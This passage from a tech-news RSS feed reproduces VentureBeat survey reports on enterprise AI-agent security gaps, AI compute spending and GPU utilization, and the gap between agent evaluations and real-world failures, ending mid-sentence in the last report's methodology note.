and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>are experimenting — running proofs of concept, not yet in production</b></p></td></tr><tr><td><p><b>37%</b></p></td><td><p><b>have some workloads in production, but not across the organization</b></p></td></tr><tr><td><p><b>21%</b></p></td><td><p><b>run AI in production at scale — the mature minority</b></p></td></tr><tr><td><p><b>4%</b></p></td><td><p><b>are not yet running AI workloads at all</b></p></td></tr></tbody></table><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><table><tbody><tr><td><p><b>48%</b></p></td><td><p><b>use Google Cloud — the most-used platform overall (Microsoft Azure 29%, AWS 22%, Oracle Cloud 22%)</b></p></td></tr><tr><td><p><b>41%</b></p></td><td><p><b>use Google’s Gemini models, with OpenAI close behind at 40% and Anthropic at 12%</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>run their own on-prem or co-located GPU clusters; 4% a custom open-source self-managed stack</b></p></td></tr><tr><td><p><b>&lt;2%</b></p></td><td><p><b>each use the specialized AI clouds — CoreWeave, Lambda, Crusoe, Nebius, Together, Fireworks and peers</b></p></td></tr></tbody></table><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><table><tbody><tr><td><p><b>45%</b></p></td><td><p><b>AI-specialized clouds (CoreWeave, Lambda, Crusoe, Nebius) — the top planned evaluation area</b></p></td></tr><tr><td><p><b>32%</b></p></td><td><p><b>non-NVIDIA accelerators (AWS Trainium, Google TPU, AMD Instinct, Intel Gaudi, in-house ASICs)</b></p></td></tr><tr><td><p><b>28%</b></p></td><td><p><b>Nvidia Blackwell (GB300) / next-generation GPUs</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>decentralized or distributed compute networks</b></p></td></tr><tr><td><p><b>11%</b></p></td><td><p><b>sovereign or region-specific compute; 9% say none of the above</b></p></td></tr></tbody></table><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>plan to change within the next 0–3 months — tied for the most common answer</b></p></td></tr><tr><td><p><b>36%</b></p></td><td><p><b>have no plans to change</b></p></td></tr><tr><td><p><b>22%</b></p></td><td><p><b>plan to change within 3–6 months</b></p></td></tr><tr><td><p><b>7%</b></p></td><td><p><b>plan to change within 6–12 months</b></p></td></tr></tbody></table><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><table><tbody><tr><td><p><b>41%</b></p></td><td><p><b>integration with the existing cloud and data stack — the top factor</b></p></td></tr><tr><td><p><b>35%</b></p></td><td><p><b>total cost of ownership (TCO)</b></p></td></tr><tr><td><p><b>24%</b></p></td><td><p><b>performance — latency and throughput</b></p></td></tr><tr><td><p><b>19%</b></p></td><td><p><b>each cite security/compliance, autoscaling for spiky workloads, and GPU access/availability</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>cost per 1M tokens — the least-cited factor</b></p></td></tr></tbody></table><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><table><tbody><tr><td><p><b>37%</b></p></td><td><p><b>run at 26–50% utilization</b></p></td></tr><tr><td><p><b>34%</b></p></td><td><p><b>run at 10–25% utilization</b></p></td></tr><tr><td><p><b>15%</b></p></td><td><p><b>run under 10% utilization</b></p></td></tr><tr><td><p><b>12%</b></p></td><td><p><b>run over 50% — the efficient minority</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>don’t measure utilization at all; a further 7% consume via API and run no GPUs of their own</b></p></td></tr></tbody></table><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><table><tbody><tr><td><p><b>44%</b></p></td><td><p><b>track compute cost and ROI rigorously</b></p></td></tr><tr><td><p><b>39%</b></p></td><td><p><b>track it only partially</b></p></td></tr><tr><td><p><b>20%</b></p></td><td><p><b>can’t quantify it yet</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>say it isn’t a priority</b></p></td></tr></tbody></table><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2><b>Finding 8: The next bottleneck few are watching</b></h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><table><tbody><tr><td><p><b>31%</b></p></td><td><p><b>would rely on Dell (PowerScale / Project Lightning) — the leading single answer</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>would rely on Nvidia (Dynamo / ICMSP)</b></p></td></tr><tr><td><p><b>18%</b></p></td><td><p><b>are not aware of this as a constraint (9%) or haven’t addressed inference-memory limits yet (8%)</b></p></td></tr><tr><td><p><b>10%</b></p></td><td><p><b>Hammerspace (Tier Zero); 9% DDN (Infinia); the rest split across open-source KV-cache tooling, model-level efficiency, VAST Data, and WEKA</b></p></td></tr></tbody></table><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h1><b>The bottom line: A compute gap that faster spending will widen, not close</b></h1><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of 